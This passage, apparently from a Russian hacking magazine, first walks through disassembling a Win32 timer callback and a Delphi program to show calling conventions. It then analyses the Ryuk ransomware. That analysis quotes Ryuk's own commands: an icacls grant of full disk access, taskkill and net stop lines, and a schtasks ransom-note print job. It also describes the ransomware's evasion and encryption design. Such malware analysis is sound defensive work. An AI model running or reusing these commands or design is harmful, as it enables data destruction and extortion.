По луча ем ука затель на локаль ную перемен ную  — тип этой перемен ной
опре деля ется, кста ти, толь ко на осно ве про тоти па фун кции .

msg
GetMessageA

       lea rcx, [rsp+58h+Msg] ; lpMsg
 ; вызываем функцию GetMessageA (&msg, NULL, NULL, NULL);
     call cs:GetMessageA
      test eax, eax
    jz      short loc_1400010AA ; Проверка на получение WM_QUIT, 
если, да, идем на выход
        lea rcx, [rsp+58h+Msg] ; помещаем указатель на lpMsg в регистр 
RCX для передачи функции TranslateMessage
      call cs:TranslateMessage ; вызываем функцию TranslateMessage
        lea rcx, [rsp+58h+Msg] ; в RCX указатель на lpMsg
      call cs:DispatchMessageA ; вызываем функцию DispatchMessageA, 
передавая ей lpMsg
        jmp short loc_14000107B ; крутим цикл выборки сообщений
loc_1400010AA:
 ; выход
       xor eax, eax
       add rsp, 58h
 retn
main      endp

; void __stdcall TimerFunc(HWND, UINT, UINT_PTR, DWORD)
 TimerFunc       proc near

К нашему удов летво рению, IDA рас позна ла про тотип фун кции! Хотя рань ше
дела обсто яли хуже. Пос коль ку  неяв но вызыва ется опе раци онной
сис темой, в ста рых вер сиях IDA не мог ла авто мати чес ки вос ста новить про- 
тотип, и нам при ходи лось занимать ся этим самим. Но тог да дос таточ но было
заг лянуть в опи сание фун кции , которой переда ется .
В любом слу чае ее про тотип най ти не сос тавит тру да: он такой же,
как исполь зован ный нами при написа нии ори гиналь ной прог раммы на C++.

TimerProc

SetTimer TimerProc

    VOID CALLBACK TimerFunc(HWND hwnd, // handle for timer messages
                         UINT message, // WM_TIMER message
                         UINT idTimer, // timer identifier
                          DWORD dwTime // current system time

)

Ос тает ся разоб рать ся с типом вызова. На сей раз он прин ципи ален, так как,
не имея кода вызыва ющей фун кции (он рас положен глу боко в нед рах опе- 
раци онной сис темы), мы смо жем разоб рать ся с типами аргу мен тов, толь ко
если будем знать их порядок переда чи. Выше уже говори лось, что все
CALLBACK-фун кции сле дуют сог лашению PASCAL. Не путай CALLBACK-фун- 
кции с Win32 API-фун кци ями! Пер вые вызыва ет сама опе раци онная сис тема,
а вто рые — прик ладная прог рамма.

Итак, тип вызова этой фун кции — PASCAL. Зна чит, аргу мен ты идут сле ва
нап раво, а стек чис тит вызыва емая фун кция.

       arg_0 = qword ptr 8
       arg_8 = dword ptr 10h
      arg_10 = dword ptr 18h
      arg_18 = dword ptr 20h

И опять, к нашему счастью, IDA обна ружи ла все четыре аргу мен та! Сто ит
отме тить, что рань ше IDA опре деля ла толь ко один аргу мент, пос коль ку фун- 
кция в работе исполь зует все го один, а к осталь ным прос то не обра щает ся.
Вот IDA и не может их вос ста новить.

Тем не менее в нашем слу чае IDA не отме тила ни один аргу мент ком- 
мента рием — раз бирай ся сам! А нам надо узнать тип хотя бы край него эле- 
мен та, что бы опре делить порядок переда чи аргу мен тов. Для это го нам надо
разоб рать ся в коде тела фун кции, бла го мы можем его срав нить с исходни- 
ком на C++.

; вынимаем содержимое регистров, складируем их в память
      mov [rsp+arg_18], r9d
      mov [rsp+arg_10], r8d
      mov [rsp+arg_8], edx
      mov [rsp+arg_0], rcx

; инициализируем стек
      sub rsp, 28h
      xor edx, edx

О-па! Обра щение к , который сме щен аж на 0x18 байт, не счи тая сме- 
щения самого сте ка! Копиру ем из него 32-бит ное зна чение типа int в регистр
EAX. Если сколь знуть гла зами на три строч ки ниже, мож но сде лать вывод, что
тем самым мы под готав лива ем делимое.

arg_18

      mov eax, [rsp+28h+arg_18]
 ; готовим делитель
       mov ecx, 5
 ; рубим целочисленное деление…
      div ecx
 ; …от которого нам нужен лишь остаток
      mov eax, edx

Та ким обра зом, нам уда лось отве тить на воп рос: от какой перемен ной прог- 
рамма получа ет оста ток пос ле деления на кон стан ту 5? Код на C++ нам
в помощь:

  MessageBeep((dwTime % 5)*0x10);

И это аргу мент ! Сле дова тель но, опре делил ся край ний эле мент про-
тоти па фун кции.

dwTime

Пос той-пос той, что за чер товщи на?! Выходит,  был занесен в стек
в пер вую оче редь?! Но ведь сог лашение PASCAL дик тует про тиво полож ный
порядок занесе ния аргу мен тов! Что-то здесь не так... но ведь прог рамма
работа ет (запус ти ее еще раз, что бы про верить).

dwTime

А в SDK написа но, что CALLBACK — ана лог FAR PASCAL. С FAR понят но:
в WinNT и всех пос леду ющих все вызовы ближ ние, но вот как объ яснить
инверсию засыл ки аргу мен тов?!

Сда ешь ся? Нет, не сда вай ся, луч ше попытай ся най ти решение сам, ина че
какой инте рес? Но если нуж на под сказ ка, заг ляни в  и пос мотри,
как там опре делен тип PASCAL:

minwindef.h

#elif (_MSC_VER >= 800) || defined(_STDCALL_SUPPORTED)
#define CALLBACK    __stdcall
#define WINAPI      __stdcall
#define WINAPIV     __cdecl
#define APIENTRY    WINAPI
#define APIPRIVATE  __stdcall
#define PASCAL      __stdcall

Кто бы мог подумать! Вызов, объ явленный как PASCAL, на самом деле пред- 
став ляет собой stdcall! И CALLBACK тоже опре делен как stdcall.

На конец-то все сош лось! Теперь, если тебе ска жут, что CALLBACK —
это PASCAL, ты смо жешь усмехнуть ся и ска зать, что еж тоже пти ца, прав да,
гор дая — пока не пнешь, не полетит! Ока зыва ется, копания в деб рях include-
фай лов могут при носить поль зу. Кста ти, эти извра щения с перек рыти ем
типов соз дают боль шую проб лему при под клю чении к про екту на Си модулей,
написан ных в сре де с под дер жкой PASCAL-сог лашений о вызове фун кций.
Пос коль ку в Windows PASCAL — никакой не PASCAL, а stdcall, ничего работать
не будет!

Итак, мы выяс нили, что аргу мен ты CALLBACK-фун кци ям переда ются спра- 
ва налево, но стек вычища ет сама вызыва емая фун кция, как и положе но
по сог лашению stdcall.

Про дол жим раз гре бать нашу мно гос тра даль ную .TimerFunc
По мещен ный в EAX оста ток от деления умно жаем на 0x10 и переда ем

получив шееся в регис тре ECX про изве дение в качес тве парамет ра фун кции
, которая будет брен чать нароч но выб ранным сис темным зву- 

ком:
MessageBeep

     imul eax, 10h
      mov ecx, eax        ; uType

Продолжение статьи →



ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
ОПРЕДЕЛЯЕМ «ПОЧЕРК» КОМПИЛЯТОРА

ПО ВЫЗОВАМ ФУНКЦИЙ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Од нако не спе ши, потому что звук этот не сов сем слу чай ный. Заг лянув
в Windows SDK, мы обна ружим, что  при нима ет одну из кон стант:

, ,  и так далее, но там ничего не ска зано
о том, какое у этих кон стант зна чение. Зато сооб щает ся, что 
опи сана в фай ле . Откры ваем его и ищем :

MessageBeep
MB_OK MB_ICONASTERISK MB_ICONHAND

MessageBeep
WINUSER.h MB_OK

#define MB_OK                       0x00000000L
#define MB_OKCANCEL                 0x00000001L
#define MB_ABORTRETRYIGNORE         0x00000002L
#define MB_YESNOCANCEL              0x00000003L
#define MB_YESNO                    0x00000004L
#define MB_RETRYCANCEL              0x00000005L
#if(WINVER >= 0x0500)
#define MB_CANCELTRYCONTINUE        0x00000006L
#endif /* WINVER >= 0x0500 */

#define MB_ICONHAND                 0x00000010L
#define MB_ICONQUESTION             0x00000020L
#define MB_ICONEXCLAMATION          0x00000030L
#define MB_ICONASTERISK             0x00000040L

Наш ли! Инте ресу ющие нас кон стан ты рав ны 0x0, 0x10, 0x20, 0x30, 0x40.
Теперь ста новит ся понят ным смысл прог раммы. Взяв оста ток, получен ный
делени ем количес тва мил лисекунд, про шед ших с момен та вклю чения сис- 
темы, на 5, мы получа ем чис ло в интерва ле от 0 до 4. Умно жая его на 0x10,
получа ем: 0x0, 0x10, 0x20, 0x30, 0x40.

; Бибикаем на все лады
     call cs:MessageBeep
 ; обнуляем регистр EDX
       xor edx, edx
 ; вновь берем значение аргумента dwTime (количество миллисекунд,
 ; прошедшее с момента старта операционной системы) – делимое
       mov eax, [rsp+28h+arg_18]
 ; делитель – 1000 в десятичной системе
       mov ecx, 3E8h
 ; делим миллисекунды на 1000, получаем секунды…
      div ecx
       mov edx, eax
            lea rcx, Format ; "\r:=%d"
 ; …и выводим их на консоль
     call printf
       add rsp, 28h
 ; Уходя, гасим за собой свет, прибираем стек!
 retn
TimerFunc       endp

INFO

Итак, давай пов торим для зак репле ния. На Intel
все вин довые фун кции сле дуют сог- 
лашению: аргу мен ты заносят ся спра ва
налево, а стек вычища ет вызыва емая фун- 
кция.

Delphi

За вер шим зна комс тво с сог лашени ем PASCAL на прог рамме, написан ной
на язы ке из это го семей ства. Для это го вос поль зуем ся пос ледней вер сией
Embarcadero Delphi Community Edition, которую мож но сво бод но ска чать
с сай та . Соз дадим прос тень кую прог рамму и дизас сем бли руем
ее.

раз работ чика

program delphi_call;

{$APPTYPE CONSOLE}

 .res{$R * }

uses 
 System.SysUtils;

procedure MyProc(a:Word; b:Byte; c:String);
begin 

a+b,  ,c writeLn( ' ' );
end;

begin 
, ,  MyProc($666 $77 'Hello,Sailor!');

end. 

Пе ред ком пиляци ей не забудь нас тро ить парамет ры про екта. На этот раз
будем делать 64-бит ную отла доч ную вер сию.

Delphi Community IDE

В release-сбор ке код получит ся сов сем нераз борчи вым. Вывод в кон соль
прог раммы выг лядит сле дующим обра зом.

Кон соль ный вывод

Сей час пос мотрим на резуль тат ком пиляции, но сна чала глянь, какую заковы- 
рис тую схе му пос тро ила IDA для этой прог раммы.

IDA View-A

  _ZN11Delphi_call14initializationEv proc near
 ; DATA XREF: HEADER:0000000000400128↑o
 ; .pdata:0000000000446268↓o
; __unwind { // 
_ZN6System23_DelphiExceptionHandlerEPNS_16TExceptionRecordEyPvS2_
     push rbp
       sub rsp, 20h
       mov rbp, rsp
       mov rax, cs:off_430F18
         mov byte ptr [rax], 1
 nop
       lea rcx, qword_428778

Вы зыва ется про цеду ра, которая ини циали зиру ет сис темный модуль при ложе- 
ния. В том чис ле она получа ет экзем пляр при ложе ния и может при нимать
события и отве чать на них.

    call _ZN7Sysinit8_InitExeEPv

В регистр раз мером в сло во помеща ем зна чение 0x666:

      mov cx, 666h

В регистр раз мером в байт помеща ем 0x77:

       mov dl, 77h ; 'w'

В регистр R8 помеща ем ссыл ку на стро ку сим волов:

       lea r8, aHelloSailor ; "Hello,Sailor!"

Об рати вни мание: переда ча аргу мен тов идет сле ва нап раво.
А здесь про исхо дит вызов нашей фун кции , которой переда ются

все под готов ленные ранее парамет ры:
MyProc

    call _ZN11Delphi_call6MyProcEthN6System13UnicodeStringE

А вот эта фун кция про веря ет наличие оши бок и завер шает про цес сы, осво-
бож дает объ екты памяти, тем самым завер шает прог рамму:

    call _ZN6System6_Halt0Ev
       jmp short loc_428730 ; безусловный переход на метку,

                        ; если завершение прошло успешно
  db 2 dup(90h)

В слу чае, ког да про исхо дит неуло вимое исклю чение — сис темная ошиб ка,
сра баты вает обра щение вот к этой фун кции, которая вытал кива ет сис темный
сбой на вер хний уро вень, что бы показать его поль зовате лю.

    call _ZN6System19_UnhandledExceptionEv
  align 10h

 loc_428730: ; метка, где находится эпилог функции
        lea rsp, [rbp+20h] ; очищаем стек и выходим
      pop rbp
 retn
; } // starts at 4286F0

 _ZN11Delphi_call14initializationEv endp

Доб рались до ана лиза фун кции :MyProc

  _ZN11Delphi_call6MyProcEthN6System13UnicodeStringE proc near
 ; IDA не определила прототип функции. Что ж, сделаем это сами!
 ; CODE XREF: _ZN11Delphi_call14initializationEv+2C↓p
 ; DATA XREF: .pdata:0000000000446244↓o
; функция принимает три аргумента:
; слева направо: слово, байт, учетверенное слово

    arg_0           = word ptr 30h
    arg_8           = byte ptr 38h
    arg_10          = qword ptr 40h

; __unwind { // 
_ZN6System23_DelphiExceptionHandlerEPNS_16TExceptionRecordEyPvS2_
 ; инициализируем стек, открывает фрейм стека
     push rbp
       sub rsp, 20h
       mov rbp, rsp
 ; копируем значения аргументов из регистров процессора
       mov [rbp+arg_0], cx
       mov [rbp+arg_8], dl
       mov [rbp+arg_10], r8
        mov rcx, [rbp+arg_10] ; в регистре RCX указатель на строку 
‘Hello,Sailor!’

Вы зыва ем фун кцию, которая добав ляет ссыл ку на стро ку. В ста рых вер сиях
ком пилятор пас каля соз давал для это го локаль ный буфер и переда вал стро ку
по зна чению. Хорошо хоть сей час научил ся поль зовать ся ссыл ками!

    call _ZN6System11_UStrAddRefEPv
nop

       mov rcx, cs:off_430D40 ; получаем указатель на буфер вывода

Тут нуж но поз накомить тебя с сис темой вывода Delphi — она весь ма
разитель но отли чает ся от C. Во-пер вых, левос торон ний порядок отправ ки
аргу мен тов в стек не поз воля ет орга низо вать под дер жку про цедур
с перемен ным чис лом аргу мен тов (во вся ком слу чае, без допол нитель ных
ухищ рений). Но ведь  — это и есть про цеду ра с перемен ным чис лом
парамет ров. Раз ве нет? Вот имен но, что нет! Никакая это не про цеду ра,
а опе ратор. Ком пилятор еще на ста дии ком пиляции раз бива ет ее на мно жес- 
тво вызовов про цедур для вывода каж дого аргу мен та по отдель нос ти. Поэто- 
му в откомпи лиро ван ном коде каж дая про цеду ра при мет фик сирован ное
количес тво аргу мен тов.

WriteLn

В нашем слу чае их будет три: пер вая — для вывода сум мы двух чисел,
этим занима ется про цеду ра ; вто рая — для вывода сим вола про- 
бела в сим воль ной фор ме, этим занима ется ; и, наконец, пос-
ледняя слу жит для вывода стро ки — .

WriteLong
WriteWChar

WriteString
Раз мышля ем далее: в Windows вывес ти стро ку в окно и тут же забыть о ней

нель зя, так как окно в любой момент может пот ребовать перери сов ки. Опе- 
раци онная сис тема не сох раня ет его содер жимое, пос коль ку при высоком
раз решении это при вело бы к боль шим зат ратам памяти.

Код, выводя щий стро ку, дол жен уметь пов торять свой вывод по зап росу.
Каж дый, кто хоть раз писал прог раммы для Windows, навер няка пом нит, что
весь вывод при ходи лось помещать в обра бот чик сооб щения .WM_PAINT

Delphi же поз воля ет обра щать ся с окном Windows точ но так, как с кон- 
солью. А раз так, зна чит, все, что выводи лось на экран, дол жно где-то хра- 
нить ся. Пос коль ку локаль ные перемен ные уми рают вмес те с завер шени ем их
про цеду ры, то для хра нения буфера они не годят ся. Оста ется либо куча, либо
сег мент дан ных. Delphi исполь зует пос леднее — ука затель на такой буфер мы
толь ко что получи ли.

Даль ше для повыше ния про изво дитель нос ти вывода Delphi реали зует
прос тей ший кеш. Фун кции ,  и  сли вают
резуль тат сво ей деятель нос ти в сим воль ном виде в этот самый буфер, а в
кон це сле дует вызов , выводя щий содер жимое буфера в окно. Run-
time systems сле дит за его перери сов ками и при необ ходимос ти пов торя ет
вывод уже без учас тия прог раммис та.

WriteLong WriteWChar WriteString

WriteLn

В сле дующих двух инс трук циях про исхо дит копиро вание зна чений мень- 
ших раз меров из памяти в регис тры боль шего раз мера. При этом зна чения
на лету допол няют ся нулевы ми битами. Так, в пер вом слу чае из сло ва зна- 
чение пре обра зует ся в двой ное сло во, во вто ром — из бай та в учет верен ное
сло во. В треть ей инс трук ции выпол няет ся сло жение зна чений регис тров,
а резуль тат сох раня ется в EDX.

    movzx edx, [rbp+arg_0]
    movzx rax, [rbp+arg_8]

      add edx, eax

EDX — это мень шая часть 64-раз рядно го RDX, сле дова тель но, дан ные
переда ются сле дующей фун кции для вывода сим воль ного зна чения в про- 
межу точ ный буфер:

    call _ZN6System11_Write0LongERNS_8TTextRecEi
      mov rcx, rax

Ре гистр DX — это 1/4 от регис тра RDX (16 бит), а зна чит, он тоже учас тву ет
в переда че парамет ров на плат форме x64. В него помеща ется зна- 
чение 0x20, что соот ветс тву ет про белу. Затем сфор мирован ной ком пилято- 
ром про цеду рой этот оди ноч ный сим вол под готав лива ется для вывода в кон- 
соль (копиру ется в кеш):

       mov dx, 20h ; ' '
    call _ZN6System12_Write0WCharERNS_8TTextRecEw

      mov rcx, rax

На этот раз прог рамме понадо бил ся регистр целиком — все 64 бита. В него
из памяти копиру ется стро ка . Тем самым, как ты уже догадал- 
ся, стро ка будет переда на сле дующей фун кции, которая отпра вит ее в буфер:

Hello,Sailor!

      mov rdx, [rbp+arg_10]
    call _ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE

      mov rcx, rax

Сле дующая фун кция не при нима ет никаких аргу мен тов, в ее задачи вхо дит
завер шить про цеду ру вывода тек ста. Она вытал кива ет его из буфера, печата- 
ет на кон соли и, собс твен но, очи щает кеш. Вмес те с этим она закан чива ет
опе ратор .WriteLn

    call _ZN6System8_WriteLnERNS_8TTextRecE
 ; Проверка операции вывода на успешность
     call _ZN6System8__IOTestEv
 nop
       lea rcx, [rbp+arg_10]
 ; Вызываем функцию для очистки памяти
     call _ZN6System8_UStrClrEPv
       lea rsp, [rbp+20h]
 ; Восстанавливаем стек и выходим из функции MyProc
      pop rbp
 retn
; } // starts at 428650

 _ZN11Delphi_call6MyProcEthN6System13UnicodeStringE endp

С раз мерами парамет ров разоб рались, поэто му можем уста новить их тип,
а сле дова тель но, вос ста новить про тотип нашей про цеду ры: 

.
MyProc(a: 

Byte; b: Word; c: String)
Да, хит рой ока залась Delphi! Ана лиз откомпи лиро ван ной в ней прог раммы

пре под нес нам хороший урок.
На деюсь, ник то не устал? Отхлеб нем любимо го напит ка из поход ной

фляж ки — и впе ред, в деб ри машин ного кода! Нас ждут пот ряса ющие откры- 
тия и увле катель ные прик лючения.

https://www.embarcadero.com/ru/products/delphi/starter
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ВЗЛОМ

Выс тупав шие на ИБ-кон ферен ции в ЮАР сот рудни ки ФБР
наз вали тро ян-шиф роваль щик Ryuk наибо лее при быль ной
вымога тель ской мал варью на рын ке. Что, впро чем, неуди- 
витель но: по дан ным ком паний Advanced Intelligence и HYAS,
опе рато ры тро яна на сегод няшний день 

. В этой статье я рас ска жу,
как устро ена и как работа ет эта мал варь.

за рабо тали поряд- 
ка 150 мил лионов дол ларов

Ryuk — прог рамма-вымога тель, которая шиф рует фай лы и тре бует у жер твы
выкуп в крип товалю те Bitcoin за пре дос тавле ние клю чей для дешиф ровки.
Исполь зует ся трой исклю читель но для целевых атак. Впер вые этот вымога- 
тель зап римети ли в августе 2018 года в рам ках кам пании, которая была
нацеле на на нес коль ко пред при ятий. Наши экспер ты про вели ана лиз пер- 
воначаль ных вер сий вре донос ного ПО и выяви ли сходс тва и общие фраг- 
менты исходно го кода с прог раммой-вымога телем Hermes. Hermes —
вымога тель мас сового рас простра нения, который про дает ся на под поль ных
форумах и исполь зует ся нес коль кими груп пами хакеров.

Для сво ей вре донос ной деятель нос ти Ryuk исполь зует сочета ние сим- 
метрич ного шиф рования AES (256 бит) и асим метрич ного шиф рования RSA
(2048 или 4096 бит). Сим метрич ный ключ при меня ется для шиф рования
содер жания фай лов, а асим метрич ный откры тый ключ — для шиф рования
сим метрич ного клю ча. Пос ле опла ты выкупа зло умыш ленни ки пре дос тавля ют
соот ветс тву ющий асим метрич ный зак рытый ключ, с помощью которо го мож- 
но рас шифро вать фай лы.

Пос коль ку Ryuk при меня ют для целевых атак, век торы пер воначаль ного
зараже ния под бира ются с уче том осо бен ностей жер твы. Очень час то эти ми
век торами ста новят ся спир фишин говые элек трон ные пись ма, уда лен ный
дос туп к сис темам с помощью похищен ных учет ных записей и при мене ние
извес тно го мас сового вре донос ного ПО. В пос леднем слу чае для зараже ния
Ryuk час то исполь зует ся сочета ние  и ; недав но так же было
зафик сирова но при мене ние BazarLoader.

Emotet TrickBot

INFO

Спир фишинг (spear phishing) — под вид фишин га,
который нацелен на более узкий круг людей (ком- 
пания, груп па ее сот рудни ков или отдель ный
человек).

Це поч ка зараже ния Ryuk час то начина ется со спир фишин гового элек трон- 
ного пись ма, которое содер жит вре донос ную ссыл ку или документ MS Office.
С их помощью хакеры получа ют воз можность про ник нуть в информа цион ную
сре ду жер твы. В некото рых слу чаях такой отправ ной точ кой дос тупа ста новят- 
ся компь юте ры со ском про мети рован ным про токо лом RDP.

В пер вом сце нарии в качес тве заг рузчи ка вре донос ного ПО исполь зует ся
TrickBot или BazarLoader. В резуль тате их исполне ния дру гие хакеры получат
воз можность при обрести дос туп к взло ман ным машинам. Пос ле это го
на компь юте ры час то заг ружа ется «маячок» Cobalt Strike для похище ния
логинов и паролей поль зовате лей и горизон таль ного переме щения по сети
с зах ватом кон трол леров домена. В ито ге пос редс твом этих кон трол леров
бинар ный код Ryuk рас простра няет ся на все машины. Как же устро ен этот
код? Давай раз бирать ся.

ÎÁÙÀß ÈÍÔÎÐÌÀÖÈß

Ана лизи руемый файл — обра зец нерас пакован ной прог раммы-вымога теля
семей ства Ryuk. Иден тифици ровать этот обра зец мож но с помощью при- 
веден ных ниже кон троль ных сумм (хешей).

Hash

type

Value

SHA-1 1EFC175983A17BD6C562FE7B054045D6DCB341E5

SHA-
256

8F368B029A3A5517CB133529274834585D087A2D3A
5875D03EA38E5774019C8A

Ко неч ная полез ная заг рузка Ryuk име ет раз мер 148 Кбайт и дату ком- 
пиляции 30 апре ля 2021 года.

ÀÍÒÈÎÒËÀÄÊÀ

Ryuk мно гок ратно при меня ет тех ники защиты от деком пиляции для зат рудне- 
ния ста тичес кого ана лиза кода прог раммы.

При ем защиты от дизас сем бли рова ния

Кро ме того, вре донос ный код под держи вает анти отла доч ные тех ники
с исполь зовани ем API  и раз личных приз наков
(фла гов), нап ример , 
и . С их помощью прог рамма-вымога тель может
опре делить наличие отладчи ка и при нуди тель но зак роет его.

ZwQueryInformationProcess
ProcessDebugFlags ProcessDebugPort

ProcessDebugObjectHandle

Про цесс зап роса

В допол нение к это му вымога тель про веря ет наличие приз нака
 в PEB-струк туре про цес са с той же целью.BeingDebugged

Про вер ка приз наков отладки про цес са

ÈÑÏÎËÍÅÍÈÅ

Ryuk триж ды копиру ет себя в текущую пап ку с раз личны ми име нами и запус- 
кает эти новые исполня емые фай лы с раз ными парамет рами коман дной
стро ки. Каж дое такое исполне ние под держи вает отдель ную фун кцию. Имя
фай ла для пер вой копии вре донос ного ПО генери рует ся как кон троль ная
сум ма текуще го име ни поль зовате ля, к которой добав ляет ся .r.exe

Ес ли мал варь не может получить имя поль зовате ля, исполь зует ся имя
по умол чанию — . При исполне нии это го фай ла вре донос исполь зует
коман дную стро ку . Этот про цесс отве чает за самореп ликацию Ryuk
на дру гих машинах сети.

rep.exe
9 REP

Пер вое исполне ние

Имя вто рой копии тро яна генери рует ся слу чай ным обра зом, к нему добав- 
ляет ся суф фикс . Этой копии соот ветс тву ет коман дная стро ка .
Дан ный про цесс отве чает за отправ ку пакетов Wake On Lan на дру гие компь- 
юте ры в сети.

lan.exe 8 LAN

Вто рое исполне ние

Имя треть ей копии соз дает ся в точ ности так же, как для вто рой, исполь зует ся
та же коман дная стро ка.

Ис полне ние треть ей копии

ÑÎÎÁÙÅÍÈÅ Î ÂÛÊÓÏÅ

Что бы уве домить поль зовате ля о шиф ровании фай лов, Ryuk заг ружа ет сооб- 
щение о выкупе в фор мате HTML в каж дую зашиф рован ную пап ку. Это сооб- 
щение прак тичес ки оди нако во для всех вари антов Ryuk. Глав ное отли чие
в дан ном при мере — наличие кноп ки для свя зи и инс трук ций по уста нов ке
бра узе ра Tor.

Со обще ние о выкупе в фор мате HTML

При нажатии на кноп ку «Свя зать ся» (Connect) появ ляет ся всплы вающее окно
с инс трук циями для свя зи с авто рами прог раммы-вымога теля.

Со обще ние бра узе ра с инс трук циями

По onion-ссыл ке, ука зан ной в инс трук циях, поль зователь попада ет на пор тал
для свя зи. Там рас положе на спе циаль ная фор ма, в которой необ ходимо
оста вить адрес элек трон ной поч ты, пароль, наз вание орга низа ции и сооб- 
щение для хакеров (в отдель ном поле).

Пор тал для свя зи с хакера ми, исполь зующи ми Ryuk

ÈÇÌÅÍÅÍÈÅ ÐÀÇÐÅØÅÍÈÉ ÄÈÑÊÎÂ

Тро ян обна ружи вает уста нов ленные локаль ные дис ки с помощью API-вызова
 и, исполь зуя инс тру мент Windows icacls, меня ет раз- 

решения каж дого дис ка для получе ния пол ного дос тупа к ним.
GetLogicalDrives

Ис полне ние коман ды Icacls

Вот при мер коман ды, которую исполнит Ryuk:

icacls "C:\*" /grant Everyone: F /T /C /Q 

ÏÐÈÍÓÄÈÒÅËÜÍÀß ÎÑÒÀÍÎÂÊÀ ÏÐÎÖÅÑÑÎÂ È ÑËÓÆÁ

Пе ред шиф ровани ем фай лов тро ян соз дает новый поток, что бы завер шить
ряд про цес сов и оста новить некото рые служ бы.

Соз дание потока

В таком новом потоке Ryuk соз дает спи сок запущен ных про цес сов и служб
и срав нива ет его со спис ком из 41 про цес са и 64 служб, который «зашит»
в его коде. Некото рые из этих про цес сов и служб отно сят ся к анти виру сам
и инс тру мен там для резер вно го копиро вания, дру гие могут исполь зовать
фай лы, под лежащие шиф рованию в рам ках ата ки.

Фун кции потока

Для завер шения выпол нения про цес са энко дер исполь зует сле дующую
коман ду:

C:\Windows\System32\taskkill.exe /IM /F 

Ко ман да для оста нов ки служб — мишеней вымога теля:

C:\Windows\System32\net.exe stop /y 

Пос коль ку такие служ бы и про цес сы про веря ются с помощью фун кции
, которая воз вра щает час тичные соот ветс твия стро ки, вре донос так же

завер шит дру гие про цес сы, которые не явля ются его целью, нап ример
, пос коль ку он содер жит стро ку .

strstr

audioendpointbuilder endpoint

При нуди тель ная оста нов ка служ бы

Продолжение статьи →

https://xakep.ru/2021/01/11/ryuk-money/
https://xakep.ru/?s=Emotet
https://xakep.ru/?s=TrickBot


RYUKАМИ НЕ ТРОГАТЬ!
РАЗБИРАЕМ НОВУЮ ВЕРСИЮ

ШИФРОВАЛЬЩИКА RYUK

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ØÈÔÐÎÂÀÍÈÅ ÔÀÉËÀ

Тро ян попыта ется зашиф ровать локаль ные и сетевые дис ки с перебо ром
всех фай лов на них и про вер кой пути и име ни каж дого фай ла. Ryuk не шиф- 
рует фай лы, пол ный путь к которым содер жит сле дующие име на:

\Windows\ 
Windows 
boot 
WINDOWS\ 
Chrome 
Mozilla 
SYSVOL 
NTDS 
netlogon 
sysvol 

Вре донос так же не шиф рует фай лы, в име ни которых име ются любые из сле- 
дующих строк:

RyukReadMe.html 
boot 
dll 
ntldr 
exe 
.ini 
.lnk 
bootmgr 
boot 
NTDETECT 

Кро ме того, Ryuk про веря ет име на фай лов на наличие эле мен та . Если
этот эле мент при сутс тву ет, прог рамма вызовет фун кцию

.

index.

RyukDropRansomNoteInIndexFile

Про вер ка фай лов со стро кой index в име ни

Ес ли файл име ет рас ширение , прог рамма-вымога тель соз даст PHP-код
для генера ции сооб щения о выкупе в фор мате HTML. В про тив ном слу чае она
переза пишет содер жимое фай ла, исполь зуя HTML-код сооб щения о выкупе.
Таким обра зом, при попыт ке дос тупа к сай ту поль зователь уви дит сооб щение
Ryuk c тре бова ниями зло умыш ленни ков.

.php

Внед рение тек ста сооб щения Ryuk о выкупе в фай лы, содер жащие
в име ни index

Счи тает ся, что эта фун кция была добав лена в новые вер сии вре донос ного
ПО, что бы ата ковать веб-сер веры и взло мать обще дос тупные сай ты, заменив
их глав ные стра ницы сооб щени ем о выкупе Ryuk. Дан ная так тика рань ше
не при меня лась в прог раммах-вымога телях, конеч ная цель которых — при- 
нуж дение жер твы к вып лате выкупа.

Схе ма шиф рования в новой вер сии Ryuk оста лась преж ней. Для каж дого
фай ла прог рамма исполь зует слу чай ные клю чи AES-256, сге нери рован ные
с помощью API CryptGenKey, а затем шиф рует эти клю чи с помощью откры- 
того клю ча RSA, встро енно го в код вре донос ного ПО. Бла года ря этой схе ме
кибер прес тупни ки обес печива ют надеж ность шиф рования и управле ния клю-
чами.

Ге нера ция клю ча AES-256

Пе ред обра бот кой фай ла тро ян про веря ет, не был ли этот файл зашиф рован
ранее. Для это го про водит ся поиск клю чевых слов:  для ста рых вер сий
Ryuk и  — для новых. При обна руже нии таких клю чевых слов опе рация
с фай лом прек раща ется, и он не будет зашиф рован.

HERMES
RYUKTM

Про вер ка HERMES и RYUKTM

Пос ле это го тро ян начина ет шиф ровать файл час тями задан ного раз мера —
по 1 000 000 байт.

Шиф рование фай ла час тями

За тем Ryuk добав ляет клю чевое сло во , что бы пометить файл
как зашиф рован ный, экспор тиру ет ключ AES, который зашиф рован
с помощью откры того клю ча RSA с исполь зовани ем API CryptExportKey,
и дописы вает его в конец фай ла.

RYUKTM

Эк спорт клю ча фай ла

Ни же пред став лен при мер зашиф рован ного фай ла с 274 бай тами метадан- 
ных, добав ленных в конец фай ла прог раммой Ryuk.

При соеди нен ные метадан ные

ÇÀÄÀÍÈÅ ÏÅ×ÀÒÈ

Пос ле шиф рования фай лов Ryuk соз дает новую зап ланиро ван ную задачу
для рас печат ки 50 копий сооб щения о выкупе в фор мате RTF на прин тере,
выб ранном в сис теме по умол чанию. Коман дная стро ка для соз дания такого
задания выг лядит сле дующим обра зом:

 /TR SCHTASKS /CREATE /NP /SC DAILY /TN "PrintvE" "C:\Windows\System32
\cmd. exe /c for /l %x in (1,1,50) do start wordpad.exe /p C:\users\P
ublic\YTKkI. dll" /ST 10:25 /SD 05/18/2021 /ED 05/25/2021 

За дача будет выпол нена в задан ное вре мя в течение недели. Рас печатан- 
ные 50 стра ниц сооб щения о выкупе в фор мате RTF будут содер жать пароль,
который заг ружен в общий каталог в виде фай ла со слу чай ным име нем и рас- 
ширени ем ..dll

Со обще ние Ryuk о выкупе в фор мате RTF

Эта фун кция тоже новая. Она была добав лена в архи тек туру тро яна, что бы
соз дать хаос в сис теме жер твы и побудить ее вып латить выкуп за дешиф ровку
фай лов.

ÄÈÑÒÀÍÖÈÎÍÍÎÅ ÂÊËÞ×ÅÍÈÅ ÏÎ ÑÅÒÈ

Про цесс Ryuk с коман дной стро кой  пред назна чен для получе ния ARP-
кешей сис темы и отправ ки пакетов Wake on Lan с целью вклю чения уда лен ных
компь юте ров. Для извле чения таб лицы ARP вре донос исполь зует API

 из фай ла . Получив ука зан ную таб лицу, прог- 
